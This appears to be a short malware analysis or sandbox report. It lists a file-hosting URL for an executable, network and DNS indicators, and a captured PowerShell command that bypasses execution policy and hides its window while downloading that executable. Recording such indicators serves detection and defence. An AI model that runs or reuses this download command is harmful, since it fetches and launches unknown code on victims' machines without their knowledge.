Technical Information
- https://www.upload.ee/download/15544809/60681ba465801d571a80/inq_233001e01.exe as test.exe
- 'up##ad.ee':443
- 'up##ad.ee':443
- DNS ASK up##ad.ee
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://www.upload.ee/download/15544809/60681ba465801d571a80/INQ_233001E01.exe','...' (with hidden window)